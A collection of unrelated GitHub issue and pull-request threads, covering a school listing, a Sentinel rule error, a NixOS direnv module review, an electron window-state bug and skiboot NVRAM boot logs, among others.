Campanha Nacional de Escolas da Comunidade (CNEC)

Campanha Nacional de Escolas da Comunidade (CNEC)

@evertondewes Please provide us with an URL of a page on the official website where an IT-related long-term (>1 year) course is offered by the school

Hello
http://educacaosuperior.cnec.br/santoangelo/cursos/graduacao/tecnologo/47/info
Is this that you need?
Thanks
On Fri, Jul 12, 2019 at 8:09 AM Philip Torchinsky<EMAIL_ADDRESS>wrote:

@evertondewes https://github.com/evertondewes Please provide us with an
URL of a page on the official website where an IT-related long-term (>1
year) course is offered by the school
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/JetBrains/swot/pull/6482?email_source=notifications&email_token=AF5RMHYLSIRZ6QMIDFC4CHTP7BQ6JA5CNFSM4H7HLCI2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGODZZOUCI#issuecomment-510847497,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AF5RMHYGL6F4CRG66NTAWZLP7BQ6JANCNFSM4H7HLCIQ
.

@evertondewes Yes, thank you! Pull request merged.


Honor ARR Affinity for scm site requests

Now that we turn off Affinity by default, one bad side effect is that Kudu ends up getting started on every instance, which needlessly adds load to all workers. We should find a way to keep it affinitized.

Turns out this was a misunderstanding and there is no issue.


Error creating rule - User added to Azure Active Directory Privileged Groups

When I try to create the analytics rule in a new Sentinel instance - User added to Azure Active Directory Privileged Groups, there is a red dot over Set rule logic and an error shows up at the bottom of the KQL window that says 'where' operator: Failed to resolve column or scalar expression named 'displayName'

Fix released, closing.


feat: Autocomplete Textarea Component

Great lib! I actually tweeted few weeks ago asking for components like this, perfect!
Would be cool to have drop-in autocomplete component like in Github Copilot / Gmail's / iPhone keyboard AI powered by LLM
https://github.com/vercel/ai/discussions/1965

Thanks, this is a good suggestion!


[pre-release] update application insight to 3.1.2

Looks like you are going to need to remove 14.x from the ci.yml (node 14 build)


Consider including "start time" as part of timeblock's "key" value

key of each timeblock object has to be unique. Let's consider including start time as part of the value so we can ensure there are no multiple timeblock objects sharing the same key

I believe this has been taken care of.
The "Auto Generated. Do Not Modify." column on https://docs.google.com/spreadsheets/d/1TEn1AYjLUSXagxJGhOiNPbDdPxsqJsSmeI-_4pvS41U/edit#gid=2085312683 includes start time info and our Python script basically just slugifies that entire field and make it key - each timeblock should have an unique key.


partially addressing #733

Pull Request Description
What issue does this change request address? (Use "#" before the issue to link it, i.e., #42.)
Partially address issue #733
What are the significant changes in functionality due to this change request?

For Change Control Board: Change Request Review
The following review must be completed by an authorized member of the Change Control Board.

[x] 1. Review all computer code.
[x] 2. If any changes occur to the input syntax, there must be an accompanying change to the user manual and xsd schema. If the input syntax change deprecates existing input files, a conversion script needs to be added (see Conversion Scripts).
[x] 3. Make sure the Python code and commenting standards are respected (camelBack, etc.) - See on the wiki for details.
[x] 4. Automated Tests should pass, including run_tests, pylint, manual building and xsd tests. If there are changes to Simulation.py or JobHandler.py the qsub tests must pass.
[x] 5. If significant functionality is added, there must  be tests added to check this. Tests should cover all possible options.  Multiple short tests are preferred over one large test. If new development on the internal JobHandler parallel system is performed, a cluster test must be added setting, in  XML block, the node <internalParallel> to True.
[x] 6. If the change modifies or adds a requirement or a requirement based test case, the Change Control Board's Chair or designee also needs to approve the change.  The requirements and the requirements test shall be in sync.
[x] 7. The merge request must reference an issue.  If the issue is closed, the issue close checklist shall be done.
[x] 8. If an analytic test is changed/added is the the analytic documentation updated/added?

@wangcj05 @PaulTalbot-INL

checklist is passing, and all tests are green. No issue will close with this PR, but an issue is referenced.

This PR can be merged.


WIP: Refactor to display an example chart with vega.

Example chart display with vega.
Needs refactor.
Issue #HAV-113
Signed-off-by: Christopher Mundus<EMAIL_ADDRESS>

super awesome work on this! I am going to go ahead and merge so other folks can see it and the subsequent changes are smaller to review.


Window with width and height 0

For reasons I was not able to seize, users of my app find themselves with a window of height and width of 0.
Here is an example of window-state.json I saw:
{
  "width": 0,
  "height": 0,
  "x": 40,
  "y": 23,
  "isMaximized": false,
  "isFullScreen": false,
  "displayBounds": {
    "x": 0,
    "y": 0,
    "width": 1440,
    "height": 900
  }
}

It's on macOS with<EMAIL_ADDRESS>and<EMAIL_ADDRESS>I don't do anything particular with my window sizing in the code, I let electron-window-state handle that.
Nevertheless, I tend to notice that affected users use a secondary display from time to time.
While finding the actual cause of the bug would be better, shouldn't we implement a safeguard in electron-window-state? a size with 0 as width or 0 as height is not a valid state.

While I still haven´t been able to look into the possible root cause I agree: adding a > 0 check to the state validation makes sense.
In case you want to submit a PR feel free to do so. Otherwise I can do that too.

This should be fixed by the linked PR 😄


nixos/direnv: init

Description of changes
nix-direnv is surprisingly annoying to configure correctly, due to it needing both system-wide adjustments (nix.conf changes), but also user-wide adjustments (telling direnv to load nix-direnv using ~/.config/direnv/direnvrc).
This module puts an end to that, allowing a direnv + nix-direnv installation with just
{
  programs.direnv.enable = true;
}

Currently this module comes with nix-direnv enabled by default and there's no way to turn it off. If there ever is a need to only enable direnv without nix-direnv we can do that in another PR. I don't need that myself.
Ping @zimbatm @Mic92 @bbenne10
Things done

[x] Tested the module

This generally looks okay.
I would like to see the addition of something like programs.direnv.initExtra that allows the user to specify the additional direnv snippets they're using. The way we're overriding DIRENV_CONFIG now makes that impossible (and so the additional snippet that I use that changes where caches are stored is not available at all with this configuration method).
I will say though that I'm not completely sure I see the need to introduce this.
Direnv is somewhat explicitly a user-level tool.
nix-direnv changes this user-level tool a bit to enable caching.
That caching is still useful even if they're occasionally garbage collected without the user knowing.
All of this to say that the system changes are good but not wholly necessary to eek out use from nix-direnv.
That being said: I support this change, but I don't think such a simple approach as we see here is as useful in the general sense as @infinisil maybe hopes it'll be?

This generally looks okay. I would like to see the addition of something like programs.direnv.initExtra that allows the user to specify the additional direnv snippets they're using. The way we're overriding DIRENV_CONFIG now makes that impossible (and so the additional snippet that I use that changes where caches are stored is not available at all with this configuration method).

Sounds like this will be addressed by https://github.com/NixOS/nixpkgs/pull/192667#discussion_r979811832

I will say though that I'm not completely sure I see the need to introduce this. Direnv is somewhat explicitly a user-level tool. nix-direnv changes this user-level tool a bit to enable caching. That caching is still useful even if they're occasionally garbage collected without the user knowing.
All of this to say that the system changes are good but not wholly necessary to eek out use from nix-direnv. That being said: I support this change, but I don't think such a simple approach as we see here is as useful in the general sense as @infinisil maybe hopes it'll be?

I had a bit of trouble understanding your concern, but I believe you're trying to say that the nix.settings are somewhat optional in this module, since they only affect GC relating to nix-direnv. And if we don't need to set nix.settings, the module can be entirely user-level, like a home-manager module (of which there already is one here).
Here's some arguments for why I think such a module is useful:

It is a main feature for nix-direnv to prevent shells from being garbage-collected, see the first couple sentences of its readme. Users of nix-direnv expect that feature to work
Currently if one wants to use direnv + nix-direnv and prevent GC, there is no easy way to do this in a single step. The NixOS installation instructions for nix-direnv require a manual step of editing ~/.direnvrc, while the home-manager install instructions require a separate step for adding the correct nix.conf settings.
Personal anecdote: When I installed my NixOS configuration onto a new machine, I was confused to find that my direnv shells were not cached with nix-direnv anymore. Turns out I manually added ~/.direnvrc (as described in the NixOS installation guide for nix-direnv), which I of course forgot to copy to my new machine (and also every separate user). Preventing such situations is a core selling-point of NixOS.
If a program can be configured both on a system-level (meaning for all users) and on a user-level (overriding the system-level config), then it makes sense for there to be a NixOS module, because one might want to provide a default for all users. This is also often seen with user-level systemd services provided by the system.

I had a bit of trouble understanding your concern, but I believe you're trying to say that the nix.settings are somewhat optional in this module, since they only affect GC relating to nix-direnv. And if we don't need to set nix.settings, the module can be entirely user-level, like a home-manager module (of which there already is one here).

This is exactly it.
There are already about 5 ways to install nix-direnv.
This adds a 6th that must additionally be supported.
We already spend quite a bit of debugging time figuring out what version of nix-direnv someone has and how it was installed (as each installation procedure has different pitfalls), and this will (maybe) make this just a bit harder.

There are already about 5 ways to install nix-direnv. This adds a 6th that must additionally be supported. We already spend quite a bit of debugging time figuring out what version of nix-direnv someone has and how it was installed (as each installation procedure has different pitfalls), and this will (maybe) make this just a bit harder.

No this PR doesn't add another, it will allow you to replace the existing instructions for NixOS with much simpler ones, namely
{
  programs.direnv.enable = true;
}

This pull request has been mentioned on NixOS Discourse. There might be relevant details there:
https://discourse.nixos.org/t/tweag-nix-dev-update-37/22409/1

No this PR doesn't add another, it will allow you to replace the existing instructions for NixOS with much simpler ones, namely
{
  programs.direnv.enable = true;
}

I will have to describe the old behavior and the new behavior until acceptance of the new version is high enough. Likely well beyond the 22.11 release, as old installs may not be updated immediately.
Do know that I have said I support this change once appropriate changes are made to direnv as to allow the user to provide augmentations to the direnv stdlib. I am holding off approval until direnv/direnv#990 is approved, merged, released and updated in nixpkgs.

@bbenne10 Awesome that sounds great. You can also just keep everything as-is for now, the old way of installing it continues working the same way.

What's the status of this useful PR ?

direnv/direnv#990 is still open. I still haven't signed off on it. This PR would still artificially limit the ability of users to override direnv stdenv functions when using this installation mechanism.
that is to say: no - there's no change, as the referenced PR is stagnate right now too. If we can get that merged, I'm happy to assign here once the appropriate changes are made to allow extraConfig or such to propagate into the nix installed direnv / nix-direnv environments.

FYI, https://github.com/NixOS/nixpkgs/pull/241528


Feature: Compose post before being logged in

Maybe, just maybe, it would be nice if we could display the posting form and let the user type his/her posting, before he/she has to authenticate via GitHub.
I am unsure whether this a great feature we really need (because it lowers the barrier to participate) and how we would store the "draft" of the posting during authentification.
I am open for ideas here!

Might be worth looking at how StackOverflow does it, since they do basically the same thing. You can type in an answer (maybe a question too, haven't seen that myself), and log in after the fact, and it persists it somehow. I suspect it's in localstorage or something, but haven't really looked.

Maybe using a new button, some kind like "Login and post". Is that possible?

Maybe some sort of dialog? A dialog opens, the user logs in and then have the form posted? Just had this idea but sounds like a lot of front end for me =(


lost registration 8-)

sorry for the disturbance,I logged out of the https://icfpcontest2020.github.io account without saving API key. However, I have set up the repository and (I hope) provided the correct email. Is there a way to restore the key? what information should I provide? Or I must register another team name?
to avoid such mistakes in future - would it make sense to add a line in big letters about saving the API key for further logins? 8-)
or is there a plan to send the critical access information to the registered email? I can't think of a way to avoid (ab)using the feature, but it could definitely help.

Thanks,
Vlad.

Hi 👋 I've sent the API key to an email provided during the registration. Wish you a great contest.
Feel free to reopen this issue or reach out to me in any case.


Speaker field for search is no longer working

Currently there is an issue with the Speaker filter in the P&P corpora on the develop branch, at least for the UK and Canada. When you try and filter on Speaker, it always returns 0 results, see screenshot:

However, on production this issue doesn't occur:

My hypothesis is that it has something to do with how the filter is called, as the url is different locally than on the server. On the server, it contains 'fields=speaker.text', whereas locally it contains 'fields=speaker'.
Did anyone change anything about the filters lately?

The bug also exists in the ECCO corpus

A similar bug: for the UK parliamentary corpus, when selecting any field it does not actually affect the query, it still searches just the speech field.

Update: it seems that on the current develop branch (27-07-2023) this issue has disappeared for at least the parliamentary corpora.


NVRAM cleanups

The prlogs look a bit strange these days. See skiboot-5.4.0 booting for the first time on a Palmetto below.
We should create a pre-initialised NVRMA partition in the PNOR to save us doing this at boot.
The downside of that would be we don't test this code path as often. Do we have some tests that make sure skiboot's NVRAM always works?
    2.356072633,5] NVRAM: Size is 576 KB
[    3.032408733,3] NVRAM: Partition at offset 0x0 has incorrect 0 length
[    3.032505627,3] NVRAM: Re-initializing (size: 0x00090000)
[    3.032590744,7] NVRAM: Created 'ibm,skiboot' partition at 0x00000000 for size 0x00000100 with cksum 0xb5
[    3.032593479,7] NVRAM: Created 'common' partition at 0x00001000 for size 0x00001000 with cksum 0x0c
[    3.032595759,7] NVRAM: Created 'wwwwwwwwwwww' partition at 0x00011000 for size 0x00007f00 with cksum 0x98
[    3.032598677,7] LIBFLASH: Smart writing to 0x1961000..019f1000...
[    3.032600250,7] LIBFLASH:   reading page 0x01961000..0x01962000...[    3.033912391,7]  need erase !
[    3.033913150,7] LIBFLASH: Erasing 0x1961000..01962000...
[    3.046019920,7] LIBFLASH: Writing to 0x01961000..001962000...
[    3.056795837,7] LIBFLASH: Verifying...
[    3.058110804,7] LIBFLASH:   reading page 0x01962000..0x01963000...[    3.059415278,7]  need erase !
[    3.059416015,7] LIBFLASH: Erasing 0x1962000..01963000...
[    3.071446756,7] LIBFLASH: Writing to 0x01962000..001963000...
[    3.082213923,7] LIBFLASH: Verifying...
[    3.083533976,7] LIBFLASH:   reading page 0x01963000..0x01964000...[    3.084846885,7]  same !
[    3.084847533,7] LIBFLASH:   reading page 0x01964000..0x01965000...[    3.086164489,7]  same !
[    3.086165132,7] LIBFLASH:   reading page 0x01965000..0x01966000...[    3.087483695,7]  same !
[    3.087484334,7] LIBFLASH:   reading page 0x01966000..0x01967000...[    3.088808559,7]  same !
[    3.088809217,7] LIBFLASH:   reading page 0x01967000..0x01968000...[    3.090125179,7]  same !
[    3.090125828,7] LIBFLASH:   reading page 0x01968000..0x01969000...[    3.091441530,7]  same !
[    3.091442191,7] LIBFLASH:   reading page 0x01969000..0x0196a000...[    3.092759873,7]  same !
[    3.092760514,7] LIBFLASH:   reading page 0x0196a000..0x0196b000...[    3.094077946,7]  same !
[    3.094078587,7] LIBFLASH:   reading page 0x0196b000..0x0196c000...[    3.095399679,7]  same !
[    3.095400316,7] LIBFLASH:   reading page 0x0196c000..0x0196d000...[    3.096721227,7]  same !
[    3.096721884,7] LIBFLASH:   reading page 0x0196d000..0x0196e000...[    3.098038551,7]  same !
[    3.098039225,7] LIBFLASH:   reading page 0x0196e000..0x0196f000...[    3.099352147,7]  same !
[    3.099352803,7] LIBFLASH:   reading page 0x0196f000..0x01970000...[    3.100677126,7]  same !
[    3.100677823,7] LIBFLASH:   reading page 0x01970000..0x01971000...[    3.101992381,7]  same !
[    3.101993061,7] LIBFLASH:   reading page 0x01971000..0x01972000...[    3.103308025,7]  same !
[    3.103308751,7] LIBFLASH:   reading page 0x01972000..0x01973000...[    3.104619847,7]  need erase !
[    3.104620655,7] LIBFLASH: Erasing 0x1972000..01973000...
[    3.118555259,7] LIBFLASH: Writing to 0x01972000..001973000...
[    3.129326977,7] LIBFLASH: Verifying...
[    3.130639846,7] LIBFLASH:   reading page 0x01973000..0x01974000...[    3.131960441,7]  same !
[    3.131961125,7] LIBFLASH:   reading page 0x01974000..0x01975000...[    3.133282046,7]  same !
[    3.133282726,7] LIBFLASH:   reading page 0x01975000..0x01976000...[    3.134602066,7]  same !
[    3.134602735,7] LIBFLASH:   reading page 0x01976000..0x01977000...[    3.135929113,7]  same !
[    3.135929802,7] LIBFLASH:   reading page 0x01977000..0x01978000...[    3.137245456,7]  same !
[    3.137246127,7] LIBFLASH:   reading page 0x01978000..0x01979000...[    3.138569489,7]  same !
[    3.138570182,7] LIBFLASH:   reading page 0x01979000..0x0197a000...[    3.139889260,7]  same !
[    3.139889939,7] LIBFLASH:   reading page 0x0197a000..0x0197b000...[    3.141210302,7]  same !
[    3.141210994,7] LIBFLASH:   reading page 0x0197b000..0x0197c000...[    3.142529233,7]  same !
[    3.142529909,7] LIBFLASH:   reading page 0x0197c000..0x0197d000...[    3.143852148,7]  same !
[    3.143852830,7] LIBFLASH:   reading page 0x0197d000..0x0197e000...[    3.145173647,7]  same !
[    3.145174324,7] LIBFLASH:   reading page 0x0197e000..0x0197f000...[    3.146497744,7]  same !
[    3.146498418,7] LIBFLASH:   reading page 0x0197f000..0x01980000...[    3.147816563,7]  same !
[    3.147817233,7] LIBFLASH:   reading page 0x01980000..0x01981000...[    3.149141047,7]  same !
[    3.149141711,7] LIBFLASH:   reading page 0x01981000..0x01982000...[    3.150458250,7]  same !
[    3.150458929,7] LIBFLASH:   reading page 0x01982000..0x01983000...[    3.151775017,7]  same !
[    3.151775689,7] LIBFLASH:   reading page 0x01983000..0x01984000...[    3.153096193,7]  same !
[    3.153096871,7] LIBFLASH:   reading page 0x01984000..0x01985000...[    3.154416767,7]  same !
[    3.154417464,7] LIBFLASH:   reading page 0x01985000..0x01986000...[    3.155739500,7]  same !
[    3.155740180,7] LIBFLASH:   reading page 0x01986000..0x01987000...[    3.157056575,7]  same !
[    3.157057247,7] LIBFLASH:   reading page 0x01987000..0x01988000...[    3.158374501,7]  same !
[    3.158375191,7] LIBFLASH:   reading page 0x01988000..0x01989000...[    3.159695165,7]  same !
[    3.159695843,7] LIBFLASH:   reading page 0x01989000..0x0198a000...[    3.161016244,7]  same !
[    3.161016915,7] LIBFLASH:   reading page 0x0198a000..0x0198b000...[    3.162334426,7]  same !
[    3.162335119,7] LIBFLASH:   reading page 0x0198b000..0x0198c000...[    3.163649226,7]  same !
[    3.163649903,7] LIBFLASH:   reading page 0x0198c000..0x0198d000...[    3.164969647,7]  same !
[    3.164970335,7] LIBFLASH:   reading page 0x0198d000..0x0198e000...[    3.166286834,7]  same !
[    3.166287515,7] LIBFLASH:   reading page 0x0198e000..0x0198f000...[    3.167609847,7]  same !
[    3.167610537,7] LIBFLASH:   reading page 0x0198f000..0x01990000...[    3.168927878,7]  same !
[    3.168928546,7] LIBFLASH:   reading page 0x01990000..0x01991000...[    3.170244771,7]  same !
[    3.170245455,7] LIBFLASH:   reading page 0x01991000..0x01992000...[    3.171567400,7]  same !
[    3.171568078,7] LIBFLASH:   reading page 0x01992000..0x01993000...[    3.172881843,7]  same !
[    3.172882538,7] LIBFLASH:   reading page 0x01993000..0x01994000...[    3.174197583,7]  same !
[    3.174198271,7] LIBFLASH:   reading page 0x01994000..0x01995000...[    3.175512356,7]  same !
[    3.175513058,7] LIBFLASH:   reading page 0x01995000..0x01996000...[    3.176826715,7]  same !
[    3.176827389,7] LIBFLASH:   reading page 0x01996000..0x01997000...[    3.178143287,7]  same !
[    3.178143980,7] LIBFLASH:   reading page 0x01997000..0x01998000...[    3.179462558,7]  same !
[    3.179463220,7] LIBFLASH:   reading page 0x01998000..0x01999000...[    3.180780071,7]  same !
[    3.180780743,7] LIBFLASH:   reading page 0x01999000..0x0199a000...[    3.182103386,7]  same !
[    3.182104064,7] LIBFLASH:   reading page 0x0199a000..0x0199b000...[    3.183423748,7]  same !
[    3.183424455,7] LIBFLASH:   reading page 0x0199b000..0x0199c000...[    3.184740527,7]  same !
[    3.184741214,7] LIBFLASH:   reading page 0x0199c000..0x0199d000...[    3.186060751,7]  same !
[    3.186061451,7] LIBFLASH:   reading page 0x0199d000..0x0199e000...[    3.187375837,7]  same !
[    3.187376520,7] LIBFLASH:   reading page 0x0199e000..0x0199f000...[    3.188692959,7]  same !
[    3.188693675,7] LIBFLASH:   reading page 0x0199f000..0x019a0000...[    3.190016413,7]  same !
[    3.190017091,7] LIBFLASH:   reading page 0x019a0000..0x019a1000...[    3.191335087,7]  same !
[    3.191335767,7] LIBFLASH:   reading page 0x019a1000..0x019a2000...[    3.192653988,7]  same !
[    3.192654680,7] LIBFLASH:   reading page 0x019a2000..0x019a3000...[    3.193974071,7]  same !
[    3.193974754,7] LIBFLASH:   reading page 0x019a3000..0x019a4000...[    3.195297135,7]  same !
[    3.195297836,7] LIBFLASH:   reading page 0x019a4000..0x019a5000...[    3.196613823,7]  same !
[    3.196614499,7] LIBFLASH:   reading page 0x019a5000..0x019a6000...[    3.197936870,7]  same !
[    3.197937559,7] LIBFLASH:   reading page 0x019a6000..0x019a7000...[    3.199260833,7]  same !
[    3.199261520,7] LIBFLASH:   reading page 0x019a7000..0x019a8000...[    3.200580517,7]  same !
[    3.200581183,7] LIBFLASH:   reading page 0x019a8000..0x019a9000...[    3.201898767,7]  same !
[    3.201899443,7] LIBFLASH:   reading page 0x019a9000..0x019aa000...[    3.203217799,7]  same !
[    3.203218503,7] LIBFLASH:   reading page 0x019aa000..0x019ab000...[    3.204538258,7]  same !
[    3.204538943,7] LIBFLASH:   reading page 0x019ab000..0x019ac000...[    3.205855338,7]  same !
[    3.205856020,7] LIBFLASH:   reading page 0x019ac000..0x019ad000...[    3.207173545,7]  same !
[    3.207174207,7] LIBFLASH:   reading page 0x019ad000..0x019ae000...[    3.208491536,7]  same !
[    3.208492219,7] LIBFLASH:   reading page 0x019ae000..0x019af000...[    3.209809447,7]  same !
[    3.209810129,7] LIBFLASH:   reading page 0x019af000..0x019b0000...[    3.211123151,7]  same !
[    3.211123823,7] LIBFLASH:   reading page 0x019b0000..0x019b1000...[    3.212440568,7]  same !
[    3.212441250,7] LIBFLASH:   reading page 0x019b1000..0x019b2000...[    3.213762754,7]  same !
[    3.213763422,7] LIBFLASH:   reading page 0x019b2000..0x019b3000...[    3.215081667,7]  same !
[    3.215082338,7] LIBFLASH:   reading page 0x019b3000..0x019b4000...[    3.216398967,7]  same !
[    3.216399647,7] LIBFLASH:   reading page 0x019b4000..0x019b5000...[    3.217717815,7]  same !
[    3.217718494,7] LIBFLASH:   reading page 0x019b5000..0x019b6000...[    3.219040564,7]  same !
[    3.219041256,7] LIBFLASH:   reading page 0x019b6000..0x019b7000...[    3.220359359,7]  same !
[    3.220360043,7] LIBFLASH:   reading page 0x019b7000..0x019b8000...[    3.221679257,7]  same !
[    3.221679935,7] LIBFLASH:   reading page 0x019b8000..0x019b9000...[    3.222993596,7]  same !
[    3.222994266,7] LIBFLASH:   reading page 0x019b9000..0x019ba000...[    3.224314094,7]  same !
[    3.224314782,7] LIBFLASH:   reading page 0x019ba000..0x019bb000...[    3.225632383,7]  same !
[    3.225633059,7] LIBFLASH:   reading page 0x019bb000..0x019bc000...[    3.226950031,7]  same !
[    3.226950719,7] LIBFLASH:   reading page 0x019bc000..0x019bd000...[    3.228266503,7]  same !
[    3.228267183,7] LIBFLASH:   reading page 0x019bd000..0x019be000...[    3.229586863,7]  same !
[    3.229587541,7] LIBFLASH:   reading page 0x019be000..0x019bf000...[    3.230898542,7]  same !
[    3.230899246,7] LIBFLASH:   reading page 0x019bf000..0x019c0000...[    3.232218687,7]  same !
[    3.232219364,7] LIBFLASH:   reading page 0x019c0000..0x019c1000...[    3.233533359,7]  same !
[    3.233534034,7] LIBFLASH:   reading page 0x019c1000..0x019c2000...[    3.234856895,7]  same !
[    3.234857579,7] LIBFLASH:   reading page 0x019c2000..0x019c3000...[    3.236171314,7]  same !
[    3.236172083,7] LIBFLASH:   reading page 0x019c3000..0x019c4000...[    3.237489195,7]  same !
[    3.237489905,7] LIBFLASH:   reading page 0x019c4000..0x019c5000...[    3.238810141,7]  same !
[    3.238810823,7] LIBFLASH:   reading page 0x019c5000..0x019c6000...[    3.240127500,7]  same !
[    3.240128175,7] LIBFLASH:   reading page 0x019c6000..0x019c7000...[    3.241449309,7]  same !
[    3.241449986,7] LIBFLASH:   reading page 0x019c7000..0x019c8000...[    3.242766358,7]  same !
[    3.242767031,7] LIBFLASH:   reading page 0x019c8000..0x019c9000...[    3.244080643,7]  same !
[    3.244081327,7] LIBFLASH:   reading page 0x019c9000..0x019ca000...[    3.245402636,7]  same !
[    3.245403303,7] LIBFLASH:   reading page 0x019ca000..0x019cb000...[    3.246722198,7]  same !
[    3.246722867,7] LIBFLASH:   reading page 0x019cb000..0x019cc000...[    3.248037864,7]  same !
[    3.248038541,7] LIBFLASH:   reading page 0x019cc000..0x019cd000...[    3.249355853,7]  same !
[    3.249356534,7] LIBFLASH:   reading page 0x019cd000..0x019ce000...[    3.250670622,7]  same !
[    3.250671311,7] LIBFLASH:   reading page 0x019ce000..0x019cf000...[    3.251990817,7]  same !
[    3.251991530,7] LIBFLASH:   reading page 0x019cf000..0x019d0000...[    3.253310639,7]  same !
[    3.253311319,7] LIBFLASH:   reading page 0x019d0000..0x019d1000...[    3.254629243,7]  same !
[    3.254629919,7] LIBFLASH:   reading page 0x019d1000..0x019d2000...[    3.255949476,7]  same !
[    3.255950146,7] LIBFLASH:   reading page 0x019d2000..0x019d3000...[    3.257267529,7]  same !
[    3.257268270,7] LIBFLASH:   reading page 0x019d3000..0x019d4000...[    3.258592821,7]  same !
[    3.258593540,7] LIBFLASH:   reading page 0x019d4000..0x019d5000...[    3.259914370,7]  same !
[    3.259915071,7] LIBFLASH:   reading page 0x019d5000..0x019d6000...[    3.261233393,7]  same !
[    3.261234091,7] LIBFLASH:   reading page 0x019d6000..0x019d7000...[    3.262551678,7]  same !
[    3.262552363,7] LIBFLASH:   reading page 0x019d7000..0x019d8000...[    3.263869806,7]  same !
[    3.263870518,7] LIBFLASH:   reading page 0x019d8000..0x019d9000...[    3.265188515,7]  same !
[    3.265189197,7] LIBFLASH:   reading page 0x019d9000..0x019da000...[    3.266505302,7]  same !
[    3.266505982,7] LIBFLASH:   reading page 0x019da000..0x019db000...[    3.267824002,7]  same !
[    3.267824698,7] LIBFLASH:   reading page 0x019db000..0x019dc000...[    3.269141541,7]  same !
[    3.269142209,7] LIBFLASH:   reading page 0x019dc000..0x019dd000...[    3.270457247,7]  same !
[    3.270457935,7] LIBFLASH:   reading page 0x019dd000..0x019de000...[    3.271775630,7]  same !
[    3.271776303,7] LIBFLASH:   reading page 0x019de000..0x019df000...[    3.273093299,7]  same !
[    3.273093973,7] LIBFLASH:   reading page 0x019df000..0x019e0000...[    3.274412899,7]  same !
[    3.274413575,7] LIBFLASH:   reading page 0x019e0000..0x019e1000...[    3.275731571,7]  same !
[    3.275732242,7] LIBFLASH:   reading page 0x019e1000..0x019e2000...[    3.277053855,7]  need write !
[    3.277054678,7] LIBFLASH: Writing to 0x019e1000..0019e2000...
[    3.287839967,7] LIBFLASH: Verifying...
[    3.289158010,7] LIBFLASH:   reading page 0x019e2000..0x019e3000...[    3.290474045,7]  need write !
[    3.290474813,7] LIBFLASH: Writing to 0x019e2000..0019e3000...
[    3.301254926,7] LIBFLASH: Verifying...
[    3.302569836,7] LIBFLASH:   reading page 0x019e3000..0x019e4000...[    3.303895407,7]  need write !
[    3.303896191,7] LIBFLASH: Writing to 0x019e3000..0019e4000...
[    3.314664152,7] LIBFLASH: Verifying...
[    3.315978543,7] LIBFLASH:   reading page 0x019e4000..0x019e5000...[    3.317302509,7]  need write !
[    3.317303279,7] LIBFLASH: Writing to 0x019e4000..0019e5000...
[    3.328077405,7] LIBFLASH: Verifying...
[    3.329387875,7] LIBFLASH:   reading page 0x019e5000..0x019e6000...[    3.330705923,7]  need write !
[    3.330706718,7] LIBFLASH: Writing to 0x019e5000..0019e6000...
[    3.341483775,7] LIBFLASH: Verifying...
[    3.342796223,7] LIBFLASH:   reading page 0x019e6000..0x019e7000...[    3.344116438,7]  need write !
[    3.344117219,7] LIBFLASH: Writing to 0x019e6000..0019e7000...
[    3.354885392,7] LIBFLASH: Verifying...
[    3.356196311,7] LIBFLASH:   reading page 0x019e7000..0x019e8000...[    3.357515655,7]  need write !
[    3.357516454,7] LIBFLASH: Writing to 0x019e7000..0019e8000...
[    3.368296154,7] LIBFLASH: Verifying...
[    3.369611076,7] LIBFLASH:   reading page 0x019e8000..0x019e9000...[    3.370928764,7]  need write !
[    3.370929541,7] LIBFLASH: Writing to 0x019e8000..0019e9000...
[    3.381705167,7] LIBFLASH: Verifying...
[    3.383021352,7] LIBFLASH:   reading page 0x019e9000..0x019ea000...[    3.384343519,7]  need write !
[    3.384344294,7] LIBFLASH: Writing to 0x019e9000..0019ea000...
[    3.395124199,7] LIBFLASH: Verifying...
[    3.396433951,7] LIBFLASH:   reading page 0x019ea000..0x019eb000...[    3.397753294,7]  need write !
[    3.397754047,7] LIBFLASH: Writing to 0x019ea000..0019eb000...
[    3.408529949,7] LIBFLASH: Verifying...
[    3.409846911,7] LIBFLASH:   reading page 0x019eb000..0x019ec000...[    3.411164337,7]  need write !
[    3.411165151,7] LIBFLASH: Writing to 0x019eb000..0019ec000...
[    3.421941022,7] LIBFLASH: Verifying...
[    3.423254212,7] LIBFLASH:   reading page 0x019ec000..0x019ed000...[    3.424577255,7]  need write !
[    3.424578057,7] LIBFLASH: Writing to 0x019ec000..0019ed000...
[    3.435353823,7] LIBFLASH: Verifying...
[    3.436668102,7] LIBFLASH:   reading page 0x019ed000..0x019ee000...[    3.437983951,7]  need write !
[    3.437984763,7] LIBFLASH: Writing to 0x019ed000..0019ee000...
[    3.448756850,7] LIBFLASH: Verifying...
[    3.450069369,7] LIBFLASH:   reading page 0x019ee000..0x019ef000...[    3.451394713,7]  need write !
[    3.451395519,7] LIBFLASH: Writing to 0x019ee000..0019ef000...
[    3.462165246,7] LIBFLASH: Verifying...
[    3.463479391,7] LIBFLASH:   reading page 0x019ef000..0x019f0000...[    3.464798597,7]  need write !
[    3.464799368,7] LIBFLASH: Writing to 0x019ef000..0019f0000...
[    3.475577535,7] LIBFLASH: Verifying...
[    3.476885948,7] LIBFLASH:   reading page 0x019f0000..0x019f1000...[    3.478202881,7]  need write !
[    3.478203646,7] LIBFLASH: Writing to 0x019f0000..0019f1000...
[    3.488981066,7] LIBFLASH: Verifying...

On Mon, 2016-11-21 at 17:41 -0800, Joel Stanley wrote:

The prlogs look a bit strange these days. See skiboot-5.4.0 booting
for the first time on a Palmetto below.
We should create a pre-initialised NVRMA partition in the PNOR to
save us doing this at boot.
The downside of that would be we don't test this code path as often.
Do we have some tests that make sure skiboot's NVRAM always works?

Alternatively, we could change the loglevels of the really repetitive
ones. Keeping in mind they are already be PR_DEBUG, so they shouldn't
be appearing in production systems. After the first boot seeing all
that with PR_DEBUG on is actually a sign things have gone bad and we
probably want to see it all.
In case you are wondering, they exist because they did help in
debugging an NVRAM initializing issue.

2.356072633,5] NVRAM: Size is 576 KB
[    3.032408733,3] NVRAM: Partition at offset 0x0 has incorrect 0
length
[    3.032505627,3] NVRAM: Re-initializing (size: 0x00090000)
[    3.032590744,7] NVRAM: Created 'ibm,skiboot' partition at
0x00000000 for size 0x00000100 with cksum 0xb5
[    3.032593479,7] NVRAM: Created 'common' partition at 0x00001000
for size 0x00001000 with cksum 0x0c
[    3.032595759,7] NVRAM: Created 'wwwwwwwwwwww' partition at
0x00011000 for size 0x00007f00 with cksum 0x98
[    3.032598677,7] LIBFLASH: Smart writing to 0x1961000..019f1000...
